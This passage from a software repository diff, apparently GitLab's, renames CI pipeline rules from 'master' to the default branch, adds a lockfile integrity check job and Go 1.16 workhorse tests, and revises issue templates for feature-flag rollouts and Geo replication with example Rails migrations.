+ if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "push"'
-.if-master-schedule-2-hourly: &if-master-schedule-2-hourly
- if: '($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_REF_NAME == "main") && $CI_PIPELINE_SOURCE == "schedule" && $FREQUENCY == "2-hourly"'
+.if-default-branch-schedule-2-hourly: &if-default-branch-schedule-2-hourly
+ if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "schedule" && $FREQUENCY == "2-hourly"'
-.if-master-schedule-nightly: &if-master-schedule-nightly
- if: '($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_REF_NAME == "main") && $CI_PIPELINE_SOURCE == "schedule" && $FREQUENCY == "nightly"'
+.if-default-branch-schedule-nightly: &if-default-branch-schedule-nightly
+ if: '$CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH && $CI_PIPELINE_SOURCE == "schedule" && $FREQUENCY == "nightly"'
.if-auto-deploy-branches: &if-auto-deploy-branches
if: '$CI_COMMIT_BRANCH =~ /^\d+-\d+-auto-deploy-\d+$/'
-.if-master-or-tag: &if-master-or-tag
- if: '$CI_COMMIT_REF_NAME == "master" || $CI_COMMIT_REF_NAME == "main" || $CI_COMMIT_TAG'
+.if-default-branch-or-tag: &if-default-branch-or-tag
+ if: '$CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH || $CI_COMMIT_TAG'
.if-merge-request: &if-merge-request
if: '$CI_MERGE_REQUEST_IID'
@@ -52,8 +52,8 @@
.if-dot-com-gitlab-org-schedule: &if-dot-com-gitlab-org-schedule
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_PIPELINE_SOURCE == "schedule"'
-.if-dot-com-gitlab-org-master: &if-dot-com-gitlab-org-master
- if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && ($CI_COMMIT_REF_NAME == "master" || $CI_COMMIT_REF_NAME == "main")'
+.if-dot-com-gitlab-org-default-branch: &if-dot-com-gitlab-org-default-branch
+ if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH'
.if-dot-com-gitlab-org-merge-request: &if-dot-com-gitlab-org-merge-request
if: '$CI_SERVER_HOST == "gitlab.com" && $CI_PROJECT_NAMESPACE == "gitlab-org" && $CI_MERGE_REQUEST_IID'
@@ -101,6 +101,7 @@
- ".gitlab/ci/frontend.gitlab-ci.yml"
- ".gitlab/ci/build-images.gitlab-ci.yml"
- ".gitlab/ci/review.gitlab-ci.yml"
+ - "scripts/review_apps/base-config.yaml"
- "scripts/trigger-build"
.ci-qa-patterns: &ci-qa-patterns
@@ -131,6 +132,14 @@
- "config/webpack.config.js"
- "config/helpers/*.js"
+.frontend-build-patterns: &frontend-build-patterns
+ - "{package.json,yarn.lock}"
+ - "babel.config.js"
+ - "config/webpack.config.js"
+ - "config/**/*.js"
+ - "vendor/assets/**/*"
+ - "{,ee/}app/assets/**/*"
+
.frontend-patterns: &frontend-patterns
- "{package.json,yarn.lock}"
- "babel.config.js"
@@ -293,7 +302,7 @@
################
.shared:rules:update-cache:
rules:
- - <<: *if-master-schedule-2-hourly
+ - <<: *if-default-branch-schedule-2-hourly
- <<: *if-security-schedule
- <<: *if-merge-request-title-update-caches
@@ -314,6 +323,7 @@
rules:
- <<: *if-not-canonical-namespace
when: never
+ - <<: *if-auto-deploy-branches
- changes: *ci-build-images-patterns
- changes: *code-qa-patterns
@@ -394,8 +404,8 @@
rules:
- <<: *if-not-canonical-namespace
when: never
- - <<: *if-default-refs
- changes: *code-qa-patterns
+ - <<: *if-auto-deploy-branches
+ - changes: *code-qa-patterns
.frontend:rules:compile-test-assets:
rules:
@@ -434,26 +444,26 @@
- <<: *if-merge-request
changes: *frontend-patterns
-.frontend:rules:ee-mr-and-master-only:
+.frontend:rules:ee-mr-and-default-branch-only:
rules:
- <<: *if-not-ee
when: never
- <<: *if-merge-request
changes: *code-backstage-patterns
when: always
- - <<: *if-master-refs
+ - <<: *if-default-branch-refs
changes: *code-backstage-patterns
.frontend:rules:qa-frontend-node:
rules:
- - <<: *if-master-refs
+ - <<: *if-default-branch-refs
changes: *frontend-dependency-patterns
- <<: *if-merge-request
changes: *frontend-dependency-patterns
.frontend:rules:qa-frontend-node-latest:
rules:
- - <<: *if-master-refs
+ - <<: *if-default-branch-refs
changes: *frontend-dependency-patterns
allow_failure: true
- <<: *if-merge-request
@@ -464,8 +474,8 @@
rules:
- <<: *if-not-canonical-namespace
when: never
- - if: '$DANGER_GITLAB_API_TOKEN && $CI_MERGE_REQUEST_IID && ($CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master" || $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "main")'
- changes: *frontend-patterns
+ - if: '$DANGER_GITLAB_API_TOKEN && $CI_MERGE_REQUEST_IID && $CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH'
+ changes: *frontend-build-patterns
allow_failure: true
################
@@ -484,7 +494,7 @@
rules:
- <<: *if-not-ee
when: never
- - <<: *if-master-schedule-2-hourly
+ - <<: *if-default-branch-schedule-2-hourly
############
# QA rules #
@@ -553,6 +563,7 @@
when: never
- <<: *if-merge-request
changes: *db-patterns
+ when: manual
.rails:rules:ee-and-foss-unit:
rules:
@@ -824,14 +835,14 @@
- changes: *db-library-patterns
- <<: *if-merge-request-title-run-all-rspec
-.rails:rules:ee-mr-and-master-only:
+.rails:rules:ee-mr-and-default-branch-only:
rules:
- <<: *if-not-ee
when: never
- <<: *if-merge-request-title-run-all-rspec
- <<: *if-merge-request
changes: *code-backstage-patterns
- - <<: *if-master-refs
+ - <<: *if-default-branch-refs
changes: *code-backstage-patterns
.rails:rules:detect-tests:
@@ -878,16 +889,11 @@
changes: *code-backstage-patterns
when: on_failure
-.rails:rules:downtime_check:
- rules:
- - <<: *if-merge-request
- changes: *code-backstage-patterns
-
.rails:rules:deprecations:
rules:
- <<: *if-not-ee
when: never
- - <<: *if-master-schedule-nightly
+ - <<: *if-default-branch-schedule-nightly
- <<: *if-merge-request-title-run-all-rspec
.rails:rules:rspec-coverage:
@@ -897,7 +903,7 @@
- <<: *if-merge-request
changes: *code-backstage-patterns
when: always
- - <<: *if-master-schedule-2-hourly
+ - <<: *if-default-branch-schedule-2-hourly
- <<: *if-merge-request-title-run-all-rspec
when: always
@@ -905,24 +911,34 @@
rules:
- <<: *if-not-ee
when: never
- - <<: *if-master-schedule-2-hourly
+ - <<: *if-default-branch-schedule-2-hourly
allow_failure: true
- <<: *if-merge-request-title-run-all-rspec
-.rails:rules:master-schedule-nightly--code-backstage:
+.rails:rules:default-branch-schedule-nightly--code-backstage:
rules:
- - <<: *if-master-schedule-nightly
+ - <<: *if-default-branch-schedule-nightly
- <<: *if-merge-request
changes: [".gitlab/ci/rails.gitlab-ci.yml"]
-.rails:rules:master-schedule-nightly--code-backstage-ee-only:
+.rails:rules:default-branch-schedule-nightly--code-backstage-ee-only:
rules:
- <<: *if-not-ee
when: never
- - <<: *if-master-schedule-nightly
+ - <<: *if-default-branch-schedule-nightly
- <<: *if-merge-request
changes: [".gitlab/ci/rails.gitlab-ci.yml"]
+#######################
+# Vendored gems rules #
+#######################
+
+.vendor:rules:mail-smtp_pool:
+ rules:
+ - <<: *if-merge-request
+ changes: ["vendor/gems/mail-smtp_pool/**/*"]
+ - <<: *if-merge-request-title-run-all-rspec
+
##################
# Releases rules #
##################
@@ -945,7 +961,7 @@
rules:
- if: '$CODE_QUALITY_DISABLED'
when: never
- # - <<: *if-master-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
+ # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
changes: *code-backstage-patterns
allow_failure: true
@@ -954,7 +970,7 @@
rules:
- if: '$SAST_DISABLED || $GITLAB_FEATURES !~ /\bsast\b/'
when: never
- # - <<: *if-master-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
+ # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
changes: *code-backstage-qa-patterns
allow_failure: true
@@ -963,7 +979,7 @@
rules:
- if: '$DEPENDENCY_SCANNING_DISABLED || $GITLAB_FEATURES !~ /\bdependency_scanning\b/'
when: never
- # - <<: *if-master-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
+ # - <<: *if-default-branch-refs # To be done in a later iteration: https://gitlab.com/gitlab-org/gitlab/issues/31160#note_278188255
- <<: *if-default-refs
changes: *code-backstage-qa-patterns
allow_failure: true
@@ -984,7 +1000,7 @@
rules:
- if: '$DAST_DISABLED || $GITLAB_FEATURES !~ /\bdast\b/'
when: never
- - <<: *if-master-schedule-nightly
+ - <<: *if-default-branch-schedule-nightly
allow_failure: true
.reports:rules:license_scanning:
@@ -1007,9 +1023,12 @@
- <<: *if-dot-com-gitlab-org-merge-request
changes: *frontend-patterns
- <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
+ changes: *code-patterns
when: manual
allow_failure: true
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *qa-patterns
+ allow_failure: true
- <<: *if-dot-com-gitlab-org-schedule
.review:rules:review-deploy:
@@ -1022,9 +1041,12 @@
changes: *frontend-patterns
allow_failure: true
- <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
+ changes: *code-patterns
when: manual
allow_failure: true
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *qa-patterns
+ allow_failure: true
- <<: *if-dot-com-gitlab-org-schedule
allow_failure: true
@@ -1067,14 +1089,17 @@
when: manual
allow_failure: true
-.review:rules:mr-only-manual:
+.review:rules:review-qa-all:
rules:
- <<: *if-not-ee
when: never
- <<: *if-dot-com-gitlab-org-merge-request
- changes: *code-qa-patterns
+ changes: *code-patterns
when: manual
allow_failure: true
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *qa-patterns
+ allow_failure: true
.review:rules:review-cleanup:
rules:
@@ -1100,7 +1125,7 @@
.review:rules:danger:
rules:
- - if: '$DANGER_GITLAB_API_TOKEN && $CI_MERGE_REQUEST_IID'
+ - if: '$CI_MERGE_REQUEST_IID'
###############
# Setup rules #
@@ -1109,13 +1134,13 @@
rules:
- <<: *if-not-canonical-namespace
when: never
- - <<: *if-master-or-tag
+ - <<: *if-default-branch-or-tag
changes: *code-backstage-qa-patterns
when: on_success
.setup:rules:dont-interrupt-me:
rules:
- - <<: *if-master-or-tag
+ - <<: *if-default-branch-or-tag
allow_failure: true
- <<: *if-auto-deploy-branches
allow_failure: true
diff --git a/.gitlab/ci/untamper-my-lockfile.yml b/.gitlab/ci/untamper-my-lockfile.yml
new file mode 100644
index 00000000000..54ba160f1bd
--- /dev/null
+++ b/.gitlab/ci/untamper-my-lockfile.yml
@@ -0,0 +1,26 @@
+untamper-my-lockfile:
+ image: registry.gitlab.com/gitlab-org/frontend/untamper-my-lockfile:main
+ stage: test
+ needs: []
+ before_script: []
+ after_script: []
+ cache: {}
+ retry: 1
+ script:
+ - untamper-my-lockfile --lockfile yarn.lock
+ rules:
+ # Create a pipeline if the branch is named 'add-untamper-my-lockfile' in
+ # order to have an integration check added in the MR that introduces it
+ - if: $CI_COMMIT_REF_NAME == "add-untamper-my-lockfile"
+ # Create a pipeline if there are changes in yarn.lock _and_ we are in a
+ # merge request _or_ branch pipeline.
+ #
+ # This ensures that the pipeline isn't run in scheduled jobs for example
+ #
+ # Also our best effort to support both branch and MR pipelines. In certain
+ # projects this might trigger _two_ pipelines. These projects can be fixed
+ # by adding proper workflow:rules
+ # https://docs.gitlab.com/ee/ci/yaml/#workflowrules
+ - if: $CI_PIPELINE_SOURCE == "merge_request_event" || $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH
+ changes:
+ - yarn.lock
diff --git a/.gitlab/ci/vendored-gems.gitlab-ci.yml b/.gitlab/ci/vendored-gems.gitlab-ci.yml
new file mode 100644
index 00000000000..a39c4307c13
--- /dev/null
+++ b/.gitlab/ci/vendored-gems.gitlab-ci.yml
@@ -0,0 +1,7 @@
+vendor mail-smtp_pool:
+ extends:
+ - .vendor:rules:mail-smtp_pool
+ needs: []
+ trigger:
+ include: vendor/gems/mail-smtp_pool/.gitlab-ci.yml
+ strategy: depend
diff --git a/.gitlab/ci/workhorse.gitlab-ci.yml b/.gitlab/ci/workhorse.gitlab-ci.yml
index 8361d20d2b7..ba4523f3bf7 100644
--- a/.gitlab/ci/workhorse.gitlab-ci.yml
+++ b/.gitlab/ci/workhorse.gitlab-ci.yml
@@ -1,6 +1,6 @@
workhorse:verify:
extends: .workhorse:rules:workhorse
- image: ${GITLAB_DEPENDENCY_PROXY}golang:1.15
+ image: ${GITLAB_DEPENDENCY_PROXY}golang:1.16
stage: test
needs: []
script:
@@ -23,14 +23,10 @@ workhorse:verify:
- apt-get update && apt-get -y install libimage-exiftool-perl
- make -C workhorse test
-workhorse:test using go 1.13:
- extends: .workhorse:test
- image: ${GITLAB_DEPENDENCY_PROXY}golang:1.13
-
-workhorse:test using go 1.14:
- extends: .workhorse:test
- image: ${GITLAB_DEPENDENCY_PROXY}golang:1.14
-
workhorse:test using go 1.15:
extends: .workhorse:test
image: ${GITLAB_DEPENDENCY_PROXY}golang:1.15
+
+workhorse:test using go 1.16:
+ extends: .workhorse:test
+ image: ${GITLAB_DEPENDENCY_PROXY}golang:1.16
diff --git a/.gitlab/issue_templates/Experiment Successful Cleanup.md b/.gitlab/issue_templates/Experiment Successful Cleanup.md
index afe4793cdfc..42f26342342 100644
--- a/.gitlab/issue_templates/Experiment Successful Cleanup.md
+++ b/.gitlab/issue_templates/Experiment Successful Cleanup.md
@@ -15,5 +15,6 @@ The changes need to become an official part of the product.
- [ ] Optional: Migrate experiment to a default enabled [feature flag](https://docs.gitlab.com/ee/development/feature_flags) for one milestone and add a changelog. Converting to a feature flag can be skipped at the ICs discretion if risk is deemed low with consideration to both SaaS and (if applicable) self managed
- [ ] In the next milestone, [remove the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) if applicable
- [ ] After the flag removal is deployed, [clean up the feature/experiment feature flags](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) by running chatops command in `#production` channel
+- [ ] Ensure the corresponding [Experiment Tracking](https://gitlab.com/groups/gitlab-org/-/boards/1352542?label_name[]=devops%3A%3Agrowth&label_name[]=growth%20experiment&label_name[]=experiment%20tracking) issue is updated
/label ~"feature" ~"feature::maintenance" ~"workflow::scheduling" ~"growth experiment" ~"feature flag"
diff --git a/.gitlab/issue_templates/Experimentation.md b/.gitlab/issue_templates/Experimentation.md
index f84c4305c2c..ba7839fb941 100644
--- a/.gitlab/issue_templates/Experimentation.md
+++ b/.gitlab/issue_templates/Experimentation.md
@@ -18,7 +18,7 @@
# Tracking Details
- [json schema](https://gitlab.com/gitlab-org/iglu/-/blob/master/public/schemas/com.gitlab/gitlab_experiment/jsonschema/0-3-0) used in `gitlab-experiment` tracking.
-- see [taxonomy](https://docs.gitlab.com/ee/development/snowplow.html#structured-event-taxonomy) for a guide.
+- see [taxonomy](https://docs.gitlab.com/ee/development/snowplow/index.html#structured-event-taxonomy) for a guide.
| activity | category | action | label | context | property | value |
| -------- | -------- | ------ | ----- | ------- | -------- | ----- |
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index fe263b932ae..a67d0f4e31a 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -1,48 +1,107 @@
<!-- Title suggestion: [Feature flag] Enable description of feature -->
-## What
+## Feature
-Remove the `:feature_name` feature flag ...
+This feature uses the `:feature_name` feature flag!
+
+<!-- Short description of what the feature is about and link to relevant other issues. -->
+- [Issue Name](ISSUE LINK)
## Owners
- Team: NAME_OF_TEAM
- Most appropriate slack channel to reach out to: `#g_TEAM_NAME`
- Best individual to reach out to: NAME
+- PM: NAME
-## Expectations
+## Stakeholders
-### What are we expecting to happen?
-
-### What might happen if this goes wrong?
+<!--
+Are there any other stages or teams involved that need to be kept in the loop?
-### What can we monitor to detect problems with this?
+- Name of a PM
+- The Support Team
+- The Delivery Team
+-->
-<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? Sentry errors reports can also be useful to review -->
+## The Rollout Plan
+- Partial Rollout on GitLab.com with beta groups
+- Rollout on GitLab.com for a certain period (How long)
+- Percentage Rollout on GitLab.com
+- Rollout Feature for everyone as soon as it's ready
-## Beta groups/projects
+<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? Sentry errors reports can also be useful to review -->
-If applicable, any groups/projects that are happy to have this feature turned on early. Some organizations may wish to test big changes they are interested in with a small subset of users ahead of time for example.
+**Beta Groups/Projects:**
+<!-- If applicable, any groups/projects that are happy to have this feature turned on early. Some organizations may wish to test big changes they are interested in with a small subset of users ahead of time for example. -->
- `gitlab-org/gitlab` project
- `gitlab-org`/`gitlab-com` groups
- ...
-## Roll Out Steps
+## Expectations
+
+### What are we expecting to happen?
+
+<!-- Describe the expected outcome when rolling out this feature -->
+
+### What might happen if this goes wrong?
+
+<!-- Should the feature flag be turned off? Any MRs that need to be rolled back? Communication that needs to happen? What are some things you can think of that could go wrong - data loss or broken pages? -->
+
+### What can we monitor to detect problems with this?
+
+<!-- Which dashboards from https://dashboards.gitlab.net are most relevant? -->
+
+## Rollout Timeline
+
+<!-- Please check which steps are needed and remove those which don't apply -->
+
+**Initial Rollout**
+
+*Preparation Phase*
- [ ] Enable on staging (`/chatops run feature set feature_name true --staging`)
+
- [ ] Test on staging
-- [ ] Ensure that documentation has been updated
-- [ ] Enable on GitLab.com for individual groups/projects listed above and verify behaviour (`/chatops run feature set --project=gitlab-org/gitlab feature_name true`)
-- [ ] Coordinate a time to enable the flag with the SRE oncall and release managers
- - In `#production` mention `@sre-oncall` and `@release-managers`. Once an SRE on call and Release Manager on call confirm, you can proceed with the rollout
+
+- [ ] Ensure that documentation has been updated ([More info](https://docs.gitlab.com/ee/development/documentation/feature_flags.html#features-that-became-enabled-by-default))
+
- [ ] Announce on the issue an estimated time this will be enabled on GitLab.com
-- [ ] Enable on GitLab.com by running chatops command in `#production` (`/chatops run feature set feature_name true`)
-- [ ] Cross post chatops Slack command to `#support_gitlab-com` ([more guidance when this is necessary in the dev docs](https://docs.gitlab.com/ee/development/feature_flags/controls.html#where-to-run-commands)) and in your team channel
+
+*Partial Rollout Phase*
+- [ ] Enable on GitLab.com for individual groups/projects listed above and verify behaviour (`/chatops run feature set --project=gitlab-org/gitlab feature_name true`)
+
+- [ ] Verify behaviour (See Beta Groups) and add details with screenshots as a comment on this issue
+
+- [ ] If it is possible to perform an incremental rollout, this should be preferred. Proposed increments are: `10%`, `50%`, `100%`. Proposed minimum time between increments is 15 minutes.
+ - When setting percentages, make sure that the feature works correctly between feature checks. See https://gitlab.com/gitlab-org/gitlab/-/issues/327117 for more information
+ - For actor-based rollout: `/chatops run feature set feature_name 10 --actors`
+ - For time-based rollout: `/chatops run feature set feature_name 10`
+
+- [ ] Make the feature flag enabled by default i.e. Change `default_enabled` to `true`
+
+- [ ] Cross post chatops slack command to `#support_gitlab-com` ([more guidance when this is necessary in the dev docs](https://docs.gitlab.com/ee/development/feature_flags/controls.html#where-to-run-commands)) and in your team channel
+
+
+**Cleanup**
+
+This is an __important__ phase, that should be either done in the next Milestone or as soon as possible. For the cleanup phase, please follow our documentation on how to [clean up the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up).
+
+<!-- The checklist here is to keep track of it's status for stakeholders -->
- [ ] Announce on the issue that the flag has been enabled
-- [ ] Remove feature flag and add changelog entry. Ensure that the feature flag definition YAML file has been removed in the **same MR** that is removing the feature flag from the code
-- [ ] After the flag removal is deployed, [clean up the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) by running chatops command in `#production` channel
+
+- [ ] Remove `:feature_name` feature flag
+ - [ ] Remove all references to the feature flag from the codebase
+ - [ ] Remove the YAML definitions for the feature from the repository
+ - [ ] Create a Changelog Entry
+
+- [ ] Clean up the feature flag from all environments by running this chatops command in `#production` channel `/chatops run feature delete some_feature`.
+
+**Final Step**
+
+- [ ] Close this rollout issue for the feature flag after the feature flag is removed from the codebase.
## Rollback Steps
@@ -53,3 +112,4 @@ If applicable, any groups/projects that are happy to have this feature turned on
```
/label ~"feature flag"
+/assign DRI
diff --git a/.gitlab/issue_templates/Feature proposal.md b/.gitlab/issue_templates/Feature proposal.md
index 2cdf2341c88..72ee11e6f96 100644
--- a/.gitlab/issue_templates/Feature proposal.md
+++ b/.gitlab/issue_templates/Feature proposal.md
@@ -113,3 +113,5 @@ Use the following resources to find the appropriate labels:
/label ~devops:: ~group: ~Category:
/label ~"GitLab Core"/~"GitLab Premium"/~"GitLab Ultimate"
/label ~feature
+/label ~documentation
+/label ~direction
diff --git a/.gitlab/issue_templates/Geo: Replicate a new Git repository type.md b/.gitlab/issue_templates/Geo: Replicate a new Git repository type.md
new file mode 100644
index 00000000000..6b2d732f246
--- /dev/null
+++ b/.gitlab/issue_templates/Geo: Replicate a new Git repository type.md
@@ -0,0 +1,756 @@
+<!--
+
+This template is based on a model named `CoolWidget`.
+
+To adapt this template, find and replace the following tokens:
+
+- `CoolWidget`
+- `Cool Widget`
+- `cool_widget`
+- `coolWidget`
+
+If your Model's pluralized form is non-standard, i.e. it doesn't just end in `s`, then find and replace the following tokens *first*:
+
+- `CoolWidgets`
+- `Cool Widgets`
+- `cool_widgets`
+- `coolWidgets`
+
+-->
+
+## Replicate Cool Widgets
+
+This issue is for implementing Geo replication and verification of Cool Widgets.
+
+For more background, see [Geo self-service framework](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo/framework.md).
+
+In order to implement and test this feature, you need to first [set up Geo locally](https://gitlab.com/gitlab-org/gitlab-development-kit/blob/master/doc/howto/geo.md).
+
+There are three main sections below. It is a good idea to structure your merge requests this way as well:
+
+1. Modify database schemas to prepare to add Geo support for Cool Widgets
+1. Implement Geo support of Cool Widgets behind a feature flag
+1. Release Geo support of Cool Widgets
+
+It is also a good idea to first open a proof-of-concept merge request. It can be helpful for working out kinks and getting initial support and feedback from the Geo team. As an example, see the [Proof of Concept to replicate Pipeline Artifacts](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56423).
+
+### Modify database schemas to prepare to add Geo support for Cool Widgets
+
+You might do this section in its own merge request, but it is not required.
+
+#### Add the registry table to track replication and verification state
+
+Geo secondary sites have a [Geo tracking database](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/geo.md#tracking-database) independent of the main database. It is used to track the replication and verification state of all replicables. Every Model has a corresponding "registry" table in the Geo tracking database.
+
+- [ ] Create the migration file in `ee/db/geo/migrate`:
+
+ ```shell
+ bin/rails generate geo_migration CreateCoolWidgetRegistry
+ ```
+
+- [ ] Replace the contents of the migration file with the following. Note that we cannot add a foreign key constraint on `cool_widget_id` because the `cool_widgets` table is in a different database. The application code must handle logic such as propagating deletions.
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class CreateCoolWidgetRegistry < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ def up
+ unless table_exists?(:cool_widget_registry)
+ ActiveRecord::Base.transaction do
+ create_table :cool_widget_registry, id: :bigserial, force: :cascade do |t|
+ t.bigint :cool_widget_id, null: false
+ t.datetime_with_timezone :created_at, null: false
+ t.datetime_with_timezone :last_synced_at
+ t.datetime_with_timezone :retry_at
+ t.datetime_with_timezone :verified_at
+ t.datetime_with_timezone :verification_started_at
+ t.datetime_with_timezone :verification_retry_at
+ t.integer :state, default: 0, null: false, limit: 2
+ t.integer :verification_state, default: 0, null: false, limit: 2
+ t.integer :retry_count, default: 0, limit: 2, null: false
+ t.integer :verification_retry_count, default: 0, limit: 2, null: false
+ t.boolean :checksum_mismatch, default: false, null: false
+ t.boolean :force_to_redownload, default: false, null: false
+ t.boolean :missing_on_primary, default: false, null: false
+ t.binary :verification_checksum
+ t.binary :verification_checksum_mismatched
+ t.string :verification_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
+ t.string :last_sync_failure, limit: 255 # rubocop:disable Migration/PreventStrings see https://gitlab.com/gitlab-org/gitlab/-/issues/323806
+
+ t.index :cool_widget_id, name: :index_cool_widget_registry_on_cool_widget_id, unique: true
+ t.index :retry_at
+ t.index :state
+ # To optimize performance of CoolWidgetRegistry.verification_failed_batch
+ t.index :verification_retry_at, name: :cool_widget_registry_failed_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 3))"
+ # To optimize performance of CoolWidgetRegistry.needs_verification_count
+ t.index :verification_state, name: :cool_widget_registry_needs_verification, where: "((state = 2) AND (verification_state = ANY (ARRAY[0, 3])))"
+ # To optimize performance of CoolWidgetRegistry.verification_pending_batch
+ t.index :verified_at, name: :cool_widget_registry_pending_verification, order: "NULLS FIRST", where: "((state = 2) AND (verification_state = 0))"
+ end
+ end
+ end
+ end
+
+ def down
+ drop_table :cool_widget_registry
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] Run Geo tracking database migrations:
+
+ ```shell
+ bin/rake geo:db:migrate
+ ```
+
+- [ ] Be sure to commit the relevant changes in `ee/db/geo/schema.rb`
+
+### Add verification state fields on the Geo primary site
+
+The Geo primary site needs to checksum every replicable in order for secondaries to verify their own checksums. To do this, Geo requires fields on the Model. There are two ways to add the necessary verification state fields. If the table is large and wide, then it may be a good idea to add verification state fields to a separate table (Option 2). Consult a database expert if needed.
+
+#### Add verification state fields to the model table (Option 1)
+
+- [ ] Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationStateToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationStateToCoolWidgets < ActiveRecord::Migration[6.0]
+ def change
+ change_table(:cool_widgets) do |t|
+ t.integer :verification_state, default: 0, limit: 2, null: false
+ t.column :verification_started_at, :datetime_with_timezone
+ t.integer :verification_retry_count, limit: 2, null: false
+ t.column :verification_retry_at, :datetime_with_timezone
+ t.column :verified_at, :datetime_with_timezone
+ t.binary :verification_checksum, using: 'verification_checksum::bytea'
+
+ t.text :verification_failure # rubocop:disable Migration/AddLimitToTextColumns
+ end
+ end
+ end
+ ```
+
+- [ ] If deviating from the above example, then be sure to order columns according to [our guidelines](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/ordering_table_columns.md).
+- [ ] If `cool_widgets` is a high-traffic table, follow [the database documentation to use `with_lock_retries`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/migration_style_guide.md#when-to-use-the-helper-method)
+- [ ] Adding a `text` column also [requires](../database/strings_and_the_text_data_type.md#add-a-text-column-to-an-existing-table) setting a limit. Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationFailureLimitToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationFailureLimitToCoolWidgets < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ disable_ddl_transaction!
+
+ CONSTRAINT_NAME = 'cool_widget_verification_failure_text_limit'
+
+ def up
+ add_text_limit :cool_widget, :verification_failure, 255, constraint_name: CONSTRAINT_NAME
+ end
+
+ def down
+ remove_check_constraint(:cool_widget, CONSTRAINT_NAME)
+ end
+ end
+ ```
+
+- [ ] Add indexes on verification fields to ensure verification can be performed efficiently. Some or all of these indexes can be omitted if the table is guaranteed to be small. Ask a database expert if you are considering omitting indexes. Create the migration file in `db/migrate`:
+
+ ```shell
+ bin/rails generate migration AddVerificationIndexesToCoolWidgets
+ ```
+
+- [ ] Replace the contents of the migration file with:
+
+ ```ruby
+ # frozen_string_literal: true
+
+ class AddVerificationIndexesToCoolWidgets < ActiveRecord::Migration[6.0]
+ include Gitlab::Database::MigrationHelpers
+
+ VERIFICATION_STATE_INDEX_NAME = "index_cool_widgets_on_verification_state"
+ PENDING_VERIFICATION_INDEX_NAME = "index_cool_widgets_pending_verification"
+ FAILED_VERIFICATION_INDEX_NAME = "index_cool_widgets_failed_verification"
+ NEEDS_VERIFICATION_INDEX_NAME = "index_cool_widgets_needs_verification"
+
+ disable_ddl_transaction!
+
+ def up
+ add_concurrent_index :cool_widgets, :verification_state, name: VERIFICATION_STATE_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verified_at, where: "(verification_state = 0)", order: { verified_at: 'ASC NULLS FIRST' }, name: PENDING_VERIFICATION_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verification_retry_at, where: "(verification_state = 3)", order: { verification_retry_at: 'ASC NULLS FIRST' }, name: FAILED_VERIFICATION_INDEX_NAME
+ add_concurrent_index :cool_widgets, :verification_state, where: "(verification_state = 0 OR verification_state = 3)", name: NEEDS_VERIFICATION_INDEX_NAME
+ end
+
+ def down
+ remove_concurrent_index_by_name :cool_widgets, VERIFICATION_STATE_INDEX_NAME
